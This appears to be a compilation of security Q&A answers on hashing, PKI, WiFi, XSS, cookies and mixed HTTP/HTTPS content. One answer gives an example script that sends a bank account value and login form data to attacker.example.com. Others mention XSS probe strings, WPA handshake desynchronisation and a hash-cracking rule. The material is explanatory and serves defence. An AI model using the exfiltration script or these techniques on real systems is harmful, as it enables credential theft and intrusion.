If you can't use SSH, hopefully that means you have no remote shell access at all. If that is true, then you would need to compute the checksum prior to uploading the file, then store it somewhere (e.g. md5.txt) for future reference. That assumes that you are the one uploading the files which may not be the case.


If someone breaks encryption, how do they know they're successful?

They wouldn't. The problem you described is well-addressed in the Wikipedia article on Unicity Distance. That article also links to one by Bruce Schneier that may be more accessible.


SHA256 security: what does it mean that attacks have broken "46 of the 60 rounds of SHA256"?

Many cryptographic algorithms (hash functions, symmetric encryption...) are organized as a sequence of "rounds", which are more or less similar to each other. It was empirically noticed that for a given algorithm structure, usually, more rounds imply more security; precisely, some classes of attacks (e.g. differential and linear cryptanalysis) see their efficiency decrease more or less exponentially with the number of rounds.

When cryptographers don't know how to break a complete algorithm, they try to break reduced versions of the same algorithm, with some features removed; in particular less rounds, for algorithms which have rounds. When SHA-256 is said to be broken "up to 46 rounds", then this means that another hash function, obtained by taking SHA-256 but removing the last 18 rounds, can be attacked (at least in an "academic way": the attack needs not be realistic, it just needs to be less impossible than attacking the full function); but removing only the last 17 rounds yields a function which, as far as we know, is as good as the full thing. Cryptographers will feel safer if the maximum number of attacked rounds is substantially lower than the actual number of rounds in the full algorithm.

Since attack efficiency behaviour tends to be exponential in the number of rounds, not linear, this cannot (and must not) be translated, even intuitively, into: "can break 80% of the rounds -> algorithm broken at 80%". Analogy: suppose you want to increase your fortune, by doubling it ten times. You start with one dollar; after ten doublings, you would have 1024 dollars; that's your goal. After eight doublings, you have 256 dollars. Eight doublings done out of ten: that's 80% of the work, right ? Then how comes you have only 256 dollars, and not 80% of 1024 dollars (which would be 819.2 dollars) ?

To sum up, you should not try to read too much in these assertions. They are scientific results which are interesting for scientists, but which can easily be overinterpreted.


Temporarily suspending a Certificate Authority's Certiticate

This may see like a cop-out answer but it is not if you stay with me.  PKI is just as much about the paperwork (policies and procedures) than it is about technical constraints.  So if you have defined in your Certificate Practice Statement that your organization can and will suspend CA certificates as part of normal operations, then yes I do believe that the major CA software packages do maintain facilities for doing just that.

I would question if this is something that you would really want to do.  If I saw that in your CPS, I would be slightly less likely to want to bridge with you, depending on the situation.  If you think that a CA has been compromised, it is hard to make an argument against revocation and reissue.  Especially if you have a 3-tier architecture and have isolated CAs by policy types in tier 2.


You can technically start sniffing away without "connecting" to the network.  Terry is correct, if the network is open (no encryption, WEP/WPA/WPA2) then you can just "Join" the network and sniff the traffic.  However, you do not need to join the network to sniff the traffic.  WLANs use radio frequencies, all you have to do is match the freq (channel) and have a wireless card that you can put into monitor mode.

If the network is using encryption you can still sniff all the packets.  The only problem is that it will be encrypted.  However, if you manage to capture specific packets you can break the encryption (WEP) or get the key (WPA/2) and then decrypt all the data you captured while still not "Joined" to the network.

Like Terry said, Wireless is wireless, it's like broadcast television.  If you tune to the right frequency (channel) you pick up data.


What might be the reason for an major antivirus software to not detect an malicious DNS entry?

When checking quickly, I saw several instances of the exact opposite issue: Kaspersky blocking any connection to user's router's IP.

The most probable explanation is that Kaspersky actually blocks known malicious IPs (given that you use the right product, ie. at least Kaspersky Internet Security and no the standalone anti-virus), but with two main prerequisites:

The malicious IPs must be known: it must have been confirmed as malicious by Kaspersky teams, added in a blacklist and your software must have updated this blacklist, however chances are that the attacker will change the IPs they use regularly,
The malicious IP must indeed be malicious:

Often this is just a shared or compromised host which is also serving legitimate contents, completely blocking the IP could have unwanted side-effect. To give a concrete example there are poor-quality blacklists on the Internet which are regularly blocking major CDNs like Cloudfare because their IPs have been used to serve some malware. Once such blacklist is applied it becomes impossible to access any website relying on Cloudflare services...
Or the malware is exploiting some legal grey area.

Following your comments, in your case, this seems to be this latter case.

You seem to be affected by the DNS Unlocker software, a company advertising on their website (http://www.dnsunlocker.com, URL voluntary made not clickable) a service allowing to bypass geo-restricted contents but proposing no download to actually install their software (!).

They explicitly explain that they achieve so by replacing the standard DNS server by their own one which will replace the answers for filtered websites. They show a clear Terms and Privacy statements, provide detailed and complete uninstallation instruction (including the fact that the DNS configuration will have to be modified manually), inform that their application is ad-supported and provide a contact form.

They also seem related to GreenTeam (http://www.greentm.co.uk, honest enough to announce in their "About Us" page that they are located in Israel and not the UK...), formerly CloudGuard as per my understanding, which rely on the very same system to filter malicious websites (à la OpenDNS then, but with injected ads and content...).

Should an anti-virus block such kind of "grey area" services? The question is quite difficult, since we are mostly talking here about the balance between freedom and security. That's why for the same software, as long as it is not proven that a service does anything really illegal and harmful, some anti-virus may classify it as malware as other may take a more conservative approach.

Sadly, none of them seem to ask for the user's opinion, assuming that the user doesn't know and prefer not being asked to decide anything.


Does PCI compliance require a DRP even if we don't store card data?

You are required to have a backup plan, you don't need a DRP plan. The only required DRP plan is in regard to an incident. So a DRP related to incident response (e.g. breach).

However if you are doing DRP, then your DRP plan should make sure your DRP site is PCI compliant.


How to select /dev/random or dev/urandom in the code in Android?

This distinction doesn't exist under Android. Android did it right -- there's just a single randomness source (unless the system opts to provide others) that provides randomness that is guaranteed to be cryptographically-secure. The platform ensures it's seeded, so there's nothing you need to do.


Since your question is rather broad, I will attempt an equally broad answer.

Authentication is often put in terms of a security boundary or scope. For example, a State-issued Driver's license is a credential used to validate your identity and is scoped to have meaning ultimately to the issuing State (though others may chose to trust that credential).

A Kerberos Realm is, in broad terms, a modeling of administrative scope.

You might also liken realms to similar technical administrative boundaries: a DNS namespace and it's subdomains ... or an IP namespace and it's subnets.  Each of these have various technical implications whether to use a large, top-level space or carve out a group of smaller spaces - but one of their chief functions is to model administrative scope.

In the case of Kerberos, the key goal of realms are to make a larger administration space (say 10,000s or 100,000s of usernames) smaller by dividing them into sub-realms along organizational or functional boundaries.

Other important implications:

ability to delegate administration of a realm to a group other than a core admin group
ability to distinguish one user of a realm from another
ability to dictate the trust policy for users of one realm by another (cross-domain trust)
ability to set configuration parameters on one realm that might differ for another

(Aside: it so happens that a Kerberos Realm may coincide with a DNS domain. This isn't required, but can make discovery of Kerberos realms easier by client software and users; as well as suggest natural "edges" in which to carve your authentication space. This will depend entirely on your authentication/authorization needs)


this depends if it is public or not.

if private:

use vpn-access, so you imap-server will be invisible to the outside, or
listen on another port than standard
use a tcpwrapper/iptables to restrict access onyl for certain ips

if private or public:

enable TLS
log failed attempts
monitor your server (Nagios, Splunk, OSSEC)
use iptables anyway

sceuring debian:

please Read This Fine Manual


What are the differences between DIACAP and RMF?

Concept of Operations (CONOPS)
Ports, Protocols, & Services Management (PPSM)

Hardware / Software list
Network diagram

System Security Plan (SSP) / Application Security Plan (formerly DIP/SIP)
Security Assessment Report (SAR) aka. Risk Assessment Report (RAR)
Information Security Continuous Monitoring (ISCM) Plan
Plan of Action and Milestones (POA&M)
Configuration Management Plan (CMP)
Configuration Control Board Charter (CCB)
Incident Response Plan (IRP)
Rules of Behavior (ROB) / Acceptable Use Policy (AUP)
Systems Administration Manual (SAM)
Continuity of Operations Plan (COOP) or Business Continuity Plan (BCP)
Disaster Recovery Plan (DRP)
Contingency Plan (CP)
System Level Agreements (SLA), Memorandum of Agreements (MOA) or Memorandum of Understanding (MOU)

DIACAP to RMF artifact differences:

SSP replaces System Identification Profile (SIP) and DIACAP Implementation Plan (DIP)
SAR replaces Scorecard, Evaluation Risk Report (ERR)
Security Control Assessor (SCA) replaces Validator or ACA
Security Authorization Package (SAP) replaces DIACAP Package
Information System Security Officer (ISSO) / Manager (ISSM) a replaces IAM / IAO


Security Testing AngularJS Web Application

AngularJS Batarang seems to be the tool you might be looking for. It's a Chrome Developer Tools extension that adds support for debugging and profiling AngularJS applications.

Other than that, you could also inspect values the standard way by accessing DOM element values by JavaScript. It might be a bit tricky to get a pointer to the exact element in question, so the easiest would be (for basic debugging purposes) to simply add to the element an ID and then access it that way. It would work in the Watch Expressions in Sources tab in Chrome Developer Tools too, but does not update on its own each time the value changes, so you could set an Event Listener Breakpoint (depends on the event type you're after) and refresh values this way in the debugger. If however you'd like to trap AngularJS own event listeners (replace existing ones, or also create new ones) then this thread on StackOverflow should have you covered (the answer for your use case is in the question itself).

But, the AngularJS Batarang is a lot more convenient, so no need to reinvent the wheel here. I'm not saying that you would, I'm saying that I actually did, before discovering the extension myself. Anyway, hope any of this helps ;)


Using John the Ripper to crack SHA hash w/ partial knowledge

Check out the wordlist rules documentation. Based on this, you'd add a line to your rules that read A0"prefixed_text"Az"postfixed_text". Refer to KoreLogic's rules info for more examples of configuration lines and the format to specify the rule in. You can either add it to a set of existing rules you're already using or specify a new ruleset and use just that.


Storing config securely in a semi trusted shared hosting environment

If you're worried about the admins actively snooping on your application, there's nothing you can do except never use their system with any sensitive data. Whatever your program does to decrypt or retrieve credentials, they can also do. For the same reason, you need to trust them not to allow administrative access to their system to any untrustworthy third party.

One area where there is some room to mitigate risks is reaction time in case of a breach. It is difficult to give general advice there because this is a compromise between availability and confidentiality — if something “weird” happens, do you want to take the system down as quickly as possible (and page you to come and sort the whole mess before service can be restored), or do you want to keep running as long as possible and notify you that something may be amiss? Note that even with best effort, you can never be sure that a breach won't happen undetected.

You can slightly reduce the risk by storing the credentials remotely and retrieving them on each connection or at short intervals. For better results, use a password that changes automatically every few minutes. That way, if the server is compromised but the attacker wasn't initially after your application, you may have a little reaction time when you can decide whether to shut down service — just turn off the credentials access. This isn't foolproof; if the attacker is after your application, he'll start using the credentials before you can react. In any case, make sure you can change the credentials quickly before breaking anything else (so no shared password that needs to be changed in 20 different places).

Another way to mitigate risk is to give this semi-trusted system as few privileges as possible. In your situation, the semi-trusted system only needs to push changes into a database somewhere else, so don't give the semi-trusted system any credential that lets it access the database directly. Only give it permission to append records to one table, or some such. Use a proxy application (running in a fully trusted environment) rather than direct database access to perform this authorization check, and make it log everything it does. That way, if the semi-trusted system is compromised, you may end up with fake records (together with a timestamp and perhaps other information that may let you sort the good records from the fake ones) but anything that isn't derived from these records will still be safe.


There is nothing wrong with SMS. Let's reverse engineer, and redesign the whole network as if to protect communication between two people.

1) Let's make it a point-to-point communication network where there's a salt known only to the sender and receiver and the phone numbers are encrypted. This prevents spoofing and/or spam.

2) the gateway itself only has one instance, and that instance is secured by at least 256 bit encryption, and is physically isolated from other equipment and tampering. To ensure that endpoint device theft isn't an issue, offline mode is disabled.

3) A one-time phone number can be used to send SMS to users outside of this secure environment restricting the original phone number from being harvested or spoofed.

4) Phone number blocks all SMS's for numbers not on contact list.
.
.
.
.
Now, we forward engineer about 20 years, scale it using enteprise and off-the-shelf equipment and call it Snapchat (and hack off the group messaging feature). It's now more secure than President Obama's Blackberry, but still isn't impervious to jealous girlfriends, wives, and screen shots.


Can we simply re-salt password on suspected session hijack?

No, it would not work. You hopefully don't have the password on your database, so you cannot just change the hash without locking out the user. To change the hash, you have to wait the user to authenticate, so you have the password. With the password you create another salt, hash both, save the hash and throw the password away. But that is not what you will want to do.

The sessions may not be tied to the password, but saved on a table somewhere, so it's best to just get rid of all session tokens AND force the user to change the password, by invalidating the current one and send an out of band message (email, sms) with a new one or a link to a change your password page.


Store user credentials vs store refresh token

Keycloak supports offline sessions, via the offline_access this must be granted on the client), which allows you to create long lived refresh tokens that can be stored in the app. You can configure how long these are valid, for instance a month.  If the user opens the app more rarely than that, you can prompt for credentials.

This gives you an openid connect compliant way to keep mobile apps logged in for a long time.


Secure-only means that the cookie won't be sent to a server using insecure (http) connection. So the application cannot rely on it from a server side.

Cookie could still be sued by client side code (ie: javascript) so long Http only is not set (probably a bad idea tho).

Note that according to https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#Secure_and_HttpOnly_cookies

  Starting with Chrome 52 and Firefox 52, insecure sites (http:) can't set cookies with the Secure directive.

So your http application wouldn't even be able to set the cookie (browser won't save it, or maybe will save it but without the secure flag: in such case, the application might "still work" since it will receive the cookie on next http request)

Last, you could still "access" the application, but you will be seen as "anonymous" since no cookie will be sent.


OAuth2 with "client credentials" without a password in your scenario sounds fine. This allows you to add additional more secured oauth based grant-types in the future.

I would recommend to look at adding controls for abuse - by throttling requests. This would protect against Denial of Service attacks, limit number of connections over a period of time (using quotas), or limit number of concurrent connections (rate limits). This kind of protection is typically done by using API gateways like a127 or volos.


Example of a backdoor submitted to an open source project?

Some notes about an attempt to get a backdoor into the Linux kernel, circa 2003. Apparently unsuccessful.  The contemporary commentary was fairly interesting.

The linux kernel distribution machines got compromised again in 2011, but it seems like no code got changed that time.

UPDATE:
Looks like a sourceforge mirror had a version of phpMyAdmin with a built-in backdoor.


How safe is it to use Fingerprint-based authentication on unencrypted Android devices?

We can't answer this for all possible cases(you can't account for human stupidity) but I will try to give a relevant answer.

  Now, what I wonder is: since I have several apps (e.g. KeePassDroid, Solid Explorer, Google Play Store) that can ease user authentication by storing passwords in such a way that they can be accessed by simply scanning a fingerprint on the sensor, will the fact that my device's main storage is decrypted mean that the saved copies of the passwords can be read in plaintext by anyone who can access the root filesystem of my device?

I believe that developers of trusted, reputed security software would not depend on the device being encrypted to protect their data. If that were the case, then any privileged file explorer software would be able to show your files in plaintext.

  For instance, say I lose my phone, someone stumbles upon it, connects it to their machine and boots TWRP recovery, which gives them root access to the Android file system. Is there a directory in which they find clear or easily-decryptable passwords secured via fingerprint authentication? Or is there some other, maybe hardware-based, encryption system?

Like in the previous paragraph, if you use trusted and reputed software, you should not have to worry about this. Fingerprint authentication is just a mode of authentication and should not have anything to do with how you encrypt your app's data. Same goes for device encryption. Ideally it would not make a difference to app developers.


Why does a nmap scan give different results depending on whether it's run from inside or outside a LAN

It is normal for external (WAN) and internal (LAN) traffic to follow different paths and for those paths to have different filtering behaviour. In most routers, even SOHO type devices, you will normally find at least 3 interfaces, WAN, LAN and WLAN. The LAN and WLAN traffic originates from within your network and devices connected in this way may have private non-routable IP addresses. The WAN interface is for connections from outside your network. If you own enough IP addresses i.e. you have a class C or your ISP has assigned you a range of IP addresses, devices inside your network may have a 'real' IP address which can be routed, but for smaller networks, it is more common for the internal network to have private IP addresses and a single public IP address, which is associated with your end of the WAN connection. In this case, your router will perform NAT (Network Address Translation) to map traffic from internal private IPs to your public IP and vice-versa for connection based protocols like TCP. You can also have port forwarding, which allows connections initiated from the outside to be routed to an IP within your network.

The difference you observe between internal and external scans is likely due to different firewall policies being applied to the traffic based on the source IP and possible the interface it comes in on. For example, you might filter out any attempts to connect via your WAN interface for IP addresses which are within your IP range and filter out connections from within your LAn/WLAN for IP addresses which are not within your IP range.

You may also filter access to ports/protocols/servers based on the source interface (LAN/WLAN, WAN) or the source IP address. You may also have multiple levels of filtering. An important concept in security is 'security in depth'. This refers to having more than one layer of defence. For example, your scan from outside the network could be filtered at the boarder firewall or it could be filtered at the server firewall. These days, its not uncommon to find filtering at the boarder, at the server and even at the application level.

There are also reactive and deep packet firwalls. For example, you might see different results from your external scans depending on the number of scan you perform or the time between scans or the number of hosts you scan. A reactive firewall will track what is occurring and if it sees a pattern which it feels is unusual or could represent bad guys trying to scan the network or a host, it might change how it is filtering or even provide misleading information. Deep packet inspection firewalls might even look at the packets your sending and decide they don't look like normal traffic and drop them.

Bottom line, the information you get back from a scan may not be telling you as much as you think and may not even be telling you the truth. The information is an indicator which needs to be combined with other information before you can draw conclusions on what is going on.


Does prepending a salt to the password instead of inserting it in the middle decrease security?

It depends on the hash function.

With a random oracle (which is the "ideal hash function"), there is no difference on how you put together salt and password at all, as long as both go in.

With real live hash functions there might be differences on the position of the input (like, there are extension attacks).

But then, you usually want to use some special password hashing scheme like PBKDF-2, bcrypt or scrypt, and these are already made with three inputs, one being the password and the other one the salt (the third one the work factor). Simply use them as they were meant to be used.


A public access point is public. This means that anybody can connect to it and use it. Thus, "protecting the access point against malicious users" is not a well-defined goal. The access point has no secret data to keep confidential, or a restricted service to offer only to authorized users. It is public.

What you might want is to protect users from each other: you don't want one user of the public access point to be able to eavesdrop on other users, or alter their data, or even simply disrupting communications. This is a problematic of big sites which really want to provide "free WiFi" for a lot of people but have a recurrent problem of antisocial users.

It turns out that you cannot. The cryptographic elements in the WiFi protocol are meant to:

Enforce authentication, keeping people out of the connection if the access point is not public, but requires authentication.
Prevent eavesdropping on the connection of duly connected users from people who are not connected.

However, nothing in the WiFi protocol was designed to prevent two connected users from spying on each other. With a public WiFi, everybody can connect (by definition), so everybody can spy on everybody.

Crippling your access point, e.g. by blocking port 443, won't bring any security, except in the following sense: if the access point is made unusable because of too strict restrictions, then people won't use it, and thus the spying issue disappears: there is no attacked user if there is no user at all. But for the remaining users, blocking port 443 just makes their situation worse: not only does it not prevent other users from spying on their traffic, but it also prevents them from defending themselves by using HTTPS browsing when possible.

You seem to be aware that "legal sources" may ask for logs. The legal situation is actually worse (for you):

By willingly running an open access point, you have become a service provider, so you are bound by all the regulations attached to that state. The ARCEP could give you the relevant information, but be warned that this goes much beyond simple squid logs.
Your own Internet access was provided to you based on a contract which explicitly forbids sharing beyond "home usage". If you act as a service provider (that's what you are trying to do), then you are in clear violation of the terms of that contract, and your ISP may lawfully shut your access down.
If someone uses your access point to then engage in "illegal activities" (e.g. attacking other sites) then you could be considered as accomplice. That's the point of the ARCEP regulations: registered service providers can claim exemption, in the way that phone companies do not get into legal trouble when criminals plot crime by phoning each other. This exemption is not automatically granted to just any random citizen who plugs a WiFi access point.

Therefore, running your own public access point, just like that, really is a bad idea, however generous the basic principle might seem at first look.


nmap OS scan showing DD-WRT when I'm not running it?

The answer is in your question :

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Nmap literally guesses which OS is on the machine. Didn't work out this time.


What shoud I do for solving this problem ? Problem is about SNORT

It appears you have to edit the specified configuration file C:\Snort\etc\snort.conf starting on line 245 to add the correct paths to the .dll files.

I found a video that explains the fix to your problem starting at the 7:00 minute mark on YouTube: https://www.youtube.com/watch?v=_ic07nBoweg

This video shows how to set up and fix Snort, including the error you are experiencing.


I recall hearing there is a range of attacks one can mount against a page which mixes HTTP and HTTPS loaded content

Basically the problem is that an HTTP connection can be tampered with. HTTPS is secured, doing three things:

Authenticating that the connected server is really the one you want (e.g. google.com).
Preventing anyone else from reading the data that you sent or that you receive.
Preventing the sent or received data from being modified.

Any non-https connection, even when loaded from an https-page, is subject to any of these three. I could impersonate google.com by spoofing the DNS (in whatever way), I could read what is being sent (an image could contain personal info if it's dynamically generated), or I could modify the page's contents.

Now there are basically two degrees in how bad such a mix is:

When a script is loaded from an http connection (on an https page), that's extremely bad. You can consider the entire page to be compromised since it's easy to read and even modify the page by injecting data into the script.
When an image, css file or another meta-file is loaded, that still opens the content up for some attacks. It might not be bad, but it totally could be. Since you never know, the browser should warn the user (by removing the padlock and displaying a mixed-content warning).

  Could anyone list some common attacks that can be launched through this vector?

Basically there is only one problem: Man in the middle attacks where someone can see and/or modify your traffic. I'll break this up into two parts:

Privacy.
The internet is a network of networks. As your traffic travels across the internet, it can pass many networks. A simple traceroute to stackexchange.com shows that my traffic passes the following networks: my own, xs4all's, above.net's, pnap.net's, and finally stackexchange's. All of these could have taps, either specifically for me or not. Many of their employees could also view my data. This is mostly a non-issue if you don't have a tap, except if the connection passes a network from countries that heavily monitor internet traffic (Iran, China (USA?)). Usually your own network is the biggest issue though. Company networks often allow for ARP spoofing, which is an easy way to read everyone's traffic without anyone noticing. WiFi networks might be cracked as well. Even if you're not on WiFi yourself, if your network has a WiFi access point somewhere then your traffic might be read by others.

Note: Governments (or rogue employees) might still be tapping your connection when using https by placing a tap at the website's end. They can bug the server and monitor all your moves on that site. I've never heard of this happening by governments, but they have methods to update: they do this. Note though that maybe this should be possible for governments because there are legitimate reasons to do this, they're just rare. The recent criticism on the NSA's surveillance (and US' in general) surveillance is because it's too much, not because any surveillance is bad.
Actually modifying the page.
How effective this is depends on the content type like I mentioned above. The easiest way to simulate this is by using proxies like the Zed attack proxy. To attack other systems you'll first need to setup ARP spoofing or something that does the same. Here is more in-depth what you can do with various content types:

a. Modifying scripts:

// Send the bank account of the user to another website
var bankaccount = document.getElementById("AccountName").innerHTML;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.example.com/?a=" + escape(bankaccount), true);
req.send();

// And make the login form submit to another website.
document.getElementById("loginform").action = "http://attacker.example.com/fakeLoginPage.php";

b. Modifying images:
When the attacker can control an image like the site's logo on the left top, he could change it so that it's a huge image covering the whole page. A part of the image might be a screenshot of how the page normally looks, and another part might be modified, showing false information (e.g. asking to call a fake phone number concerning a problem with their account).

c. Modifying CSS:
This is like the image modification, except here you can add arbitrary images and text anywhere on the page. If done correctly by the attacker, this is almost as severe as script injection. Content on the page can still not be read by the attacker, but what the user sees is now entirely up to the attacker. Phone numbers and any other instructions can be changed. The page could even say "use https://phishing.example.com instead because we have a security issue!" Yes, https will work on this phishing page. It's easy and legal to get free https certificates for any domain you own.

d. When an iframe is loaded over HTTP
The iframe could be modified to contain any sort of drive-by malware, be it a browser exploit, Flash exploit, Java exploit, or an exploit for another plugin (mind the difference between Java and Javascript!). This is usually no problem if you got everything up-to-date and you're not a high-profile target... but how many users ever have their browser entirely up to date? Don't take this risk.

e. An http website links to an https website
This is not a problem if users check the domain and padlock, but how many know what to look for, and look for it every time? This is frighteningly close to zero. When your login form is on http but submits to https, sslstrip (or some custom script) can easily make the user submit to another http page. Optionally it can redirect to the https website after submitting to http so the user does not notice anything at all.

Conclusion
If you want to do https properly, the only way is to enable it for your entire website. All images, stylesheets, iframes (Facebook's Like® buttons) and everything else should be secured. This might be a big undertaking for a big website, but if you take security seriously then it is certainly worth it.

Additionally, make sure that your webservers reject any http requests and redirect the user to the https page instead (without the http request being processed at all) and send the browser a Strict-Transport-Security header.


Do I need to run security on sockets in C++?

The Secure Sockets Layer does indeed refer to the operating system concept of sockets.

Sockets are a generalized form of inter-process communication. At the most basic level a socket allows you to read and write data to and from the socket just as though you are reading or writing a file, the difference is only that the source and destination of socket communications is another computer process rather than a file.

Sockets can be used to connect different processes on the same machine, or different processes on different machines. The interface is abstract by design so that the end programmer (you) don't need to worry about whether or not your messages are being passed through memory to another process over a local Unix-domain socket or whether they're going over an IP network or whether they're using UDP or TCP, etc.

However, the traditional sockets model doesn't let you know who is reading and writing the other end of the communications channel. Even within a single machine you can't be confident that there isn't some malware connected to the other end of your communications channel. This is much more true for internet-enabled sockets, which might read/write data from anyone in the world. Moreover, whenever your data travels over a physical medium, whether that's the RAM inside a machine or a copper wire, there's the chance that an adversary may be trying to intercept or modify your communications.

Thus, sockets provide the communication mechanism, but don't guarantee the authenticity of different parties to a communication, or the confidentiality of data passed through the sockets mechanism.

Transport Layer Security (TLS) and it's predecessor the Secure Sockets Layer (SSL) are solutions to the above problems. The TLS protocol can use public-key cryptographic solutions (e.g. signed certificates and trusted third parties) to guarantee that the process on the other end of a socket does indeed belong to the people who claim to own the socket, and it can use regular encryption to perform end-to-end encryption between the socket endpoints.

The difference between a regular socket and a secure socket in practice is that a regular socket is wrapped inside a secure interface, so the socket technology does not change but the wrapper guarantees that all communications sent over the regular socket are properly encrypted and decrypted.

https://stackoverflow.com/questions/7698488/turn-a-simple-socket-into-an-ssl-socket


Reflected XSS which only displays in the input

So you encountered a website that takes a GET or POST request and reflects the input as content somewhere on the website. A good example for this would be Stack Exchange. As you can see, I can type the following and nothing happens:

<script>alert('This is not an XSS')</script>

But why?

Output Encoding

Simply put, the output is properly encoded for the context it is written into. What does that mean? HTML has certain characters with special meanings, such as < and >. In order to prevent a browser from interpreting them as "special", the output automatically replaces special characters with a sequence that is visually identical, but has no special meaning to the browser.

You can verify this by inspecting the above code block and seeing that it turned into the following:

&lt;script&gt;alert('This is not an XSS')&lt;/script&gt;

As you can see, this renders fine for you visually, but does not cause the <script>-tags to be interpreted as HTML tags.

How to make the XSS work

You can't. It's that simple. If the encoding is done properly, such as by a popular framework, then you can't exploit it. That is good! This is what you want for a customer.

I assume you are doing this pentest for a customer, with a written permission to attack, right?


Combining a fingerprint scan and password for 2-factor-authentication

If you take a look at this link or, better yet, this link you'll see examples of how to set up Google Authenticator as your second factor, which will then require your password AND the code to log onto Windows.

There are other methods (some free) to do the same thing, too.


Why should we focus on protecting root access on a home computer?

Protecting the root account makes cleanup much easier: if an attacker can't tamper with the kernel or most of the programs, it's much harder to hide malicious code.

It also means they can't tamper with the antivirus and other protection systems.


If your VPN is trusted and secure enough, I don't see any further benefits from using proxy, or another VPN inside your VPN. This would complicate your setup (setting up proxy everywhere), slow down your connectivity, and add an extra point of failure - for example, the proxy could be hijacked to return malicious content.


You can't do that as stated. ARP spoofing causes a MitM at the IP layer. The 4-way handshake happens in a lower layer, and well before the device obtains an IP address.

You can't prevent the access point from receiving the 4th EAPOL frame without RF jamming. However, there may be ways to desynchronize the state of the handshake such that your desired result is achieved. As schroeder mentioned, Scapy would be ideal for this. For example, sending a deauthentication frame to the AP immediately after message 3 will break the process, causing the client to think it is authenticated when it is not. This causes the client to repeat the handshake once it eventually realizes the state.


In Microsoft's documentation about run keys on Windows XP, it is stated that:

  By default, Run keys are ignored when the computer starts in Safe mode. Under the RunOnce keys, you can prefix a value name with an asterisk (*) to force the associated program to run even in Safe mode.

If not added under RunOnce with the force character, one could start in Safe mode and remove the key.


Subresource integrity for same-origin (first-party) resources

I agree with your assessment that if the scripts are being served off the same server as the HTML then integrity does not gain you much security.
It would be a strange compromise where the attacker managed to write to the script files but could not write to other files including HTML (or server-side equivalent PHP,.jar,.dll etc).

If the attacker can modify files on your server and they want to change the javascript served they can just remove, or update the integrity attribute in your HTML.

If you scripts are coming off a different server (physical or virtual) then the integrity attribute will mean the attacker needs to compromise both machines to change the javascript.


HTTPS - Can server see details of client side certificate?

Is there a way for the server to know that requests have been intercepted?

No, because the communication with the server does not use the custom-installed MITM certificate. That certificate is only used by the client when communicating with the proxy.

[Client] <=========================> [Proxy] <=======================> [Server]
           Connection using fake               Connection using real
           user-installed cert/key             server cert/key

The server only knows that it is communicating with some client. The server has no idea that that client is actually a proxy acting on behalf of another client. The proxy-to-server connection is a perfectly genuine HTTPS connection, using the server's real key and certificate.

The connection between the client and the proxy is where something fishy is going on. The proxy knows that the certificate isn't genuine, but the proxy is controlled by the person orchestrating the MITM attack, so that's perfectly reasonable.


How to detect, inspect and delete a super cookie of a specific website?

The idea of a super cookie is that you cannot easily delete it. It consists of replicas of the information on multiple places and if you delete some of these the information will be restored from the remaining places. Some possible places are:

Simple cookies. These can usually be easily deleted. But one can make it harder if multiple sites cooperate so that the user does not know which cookies are relevant.
Flash cookies, Silverlight cookies etc. Depending on the browser and OS super cookies might spread between browser profiles or even different browser types this way and maybe also between normal and private mode of the browser.
HTML5 local storage.
Caching information, for example by misusing Etag and/or Last-Modified headers. Caching is an essential part of a good browsing experience but these information can also be used to track you and restore the super cookie.
...

For a way more detailed and still not exhaustive list see Technical analysis of client identification mechanisms.

Based on how super cookies work the answer to your questions will probably be unpleasant:

  How can I know if a website gave me a super cookie? Is there a guide line to follow?

There is no general guide since there are many different ways a super cookie could work. If you are curious about a specific site you might start with a freshly installed system (i.e. all plugins, cookies, cached data ... in initial state), visit the site and then do an analysis of the system what changed. I'm not aware of any tools which make a snapshot of all the ways information might hide and give you the difference between before and after visiting the site. And even then you would not know if the cached information are only used for speeding up access or also used for a super cookie.

  How does this cookie report back to the website? (Would I see it if I inspect HTTP headers?)

Also lots of ways and with some of these (like use of caching information) it is not even clear if they are used for tracking or not.

  Where it is stored? (I would like to see what it looks "inside".)

In lots of different places on your system, depending on the mechanisms used. This means that there is no single place you can look for the cookie.

  How can I delete it(if possible)?

This depends on the mechanism used which you usually don't know.
The best would probably be to use a virtual machine with a browser and reset the machine to its initial state after each browsing session. You might also try with private/incognito surf mode or fresh browser profiles but some plugins might still be used to share information in this case.


If you want to implement a XSS scanner, is it absolutely necessary to use a JS interpreter? Why?

Reliably detecting Cross-Site Scripting is a relatively complex task, just inserting a string with no control characters and looking for it in the response, is a very bad idea as you'll be swamped by false positives.

What most scanners to is take a series of standard vectors (e.g. ">< script >alert(1)< /script ><") and then look at the response from that string unencoded.

Even then this is not perfect as it depends on the context of the response as to whether it's exploitable.

A better way of handling this is to actually look at the DOM of the resulting page and look at the JavaScript executed on page load to see if your vector has been included in an executable location.  This obviously requires an HTML rendering engine and a JavaScript rendering engine.

Also there's the problem of following links if the scanner includes a spider to find content.  Without a JS interpreter the spider will likely miss links that can only be followed by evaluating JavaScript, of which there are a lot these days.

So the answer would be that a JS interpreter isn't an absolute requirement but it will help a lot.


TinyCA missing CRL information in root and leaf certificates

CRL download URL cannot be guessed; systems that validate certificates must find these URL somewhere. In a certificate, the URL for the CRL that talks about it is found in a CRL Distribution Points extension. When certutil shoes this:

  ----------------  Certificate CDP  ----------------
  No URLs "None" Time: 0

it is really telling you that there is no CDP in the certificate.

A root certificate is a certificate that is trusted a priori by the system. By definition, it cannot be revoked: revocation is a status proclaimed by the super-CA that issued the certificate, and a root certificate was not issued by any super-CA. It just is. Therefore, it is normal and expected that a root certificate does not include a CDP.

Note that when a CA issues (signs) certificates and CRL, it puts the CRL download URL in the certificates it creates. The CA own certificate does not reference that CRL.

If TinyCA does not add the relevant URL in the non-root certificates that it issues, then either it was misconfigured  (you did not provide the information), or it is bad software. Speaking of which, it seems abandoned: the references I found speak of a last version published in 2005, on a site which has since disappeared.


Tell and sell a (web app) vulnerability legally

There is no guaranteed safe solution for dealing with found vulnerabilities. There have been recent cases where researchers have been threatened with prosecution simply for reporting a simple URL vulnerability to a bank. The bank accused them of hacking, because it was a violation of their TOS to attempt to manipulate their URL.

They are under no obligation to deal with you. They did not contract with you to search for vulnerabilities. So don't expect much in the way of cooperation.

Consider using a third party remailer to contact them. You could anonymously offer them the vulnerability, along with a code word, then approach them later after they agree not to prosecute.

You could also approach them through one of their vendors. If you see that their site is hosted on IIS, you could contact Microsoft's security team instead of the organization.


Even though my firewall is active, is it protecting me fully given that the 'rules' are not active?

Without rules in place, your firewall affords no protection, even if enabled.

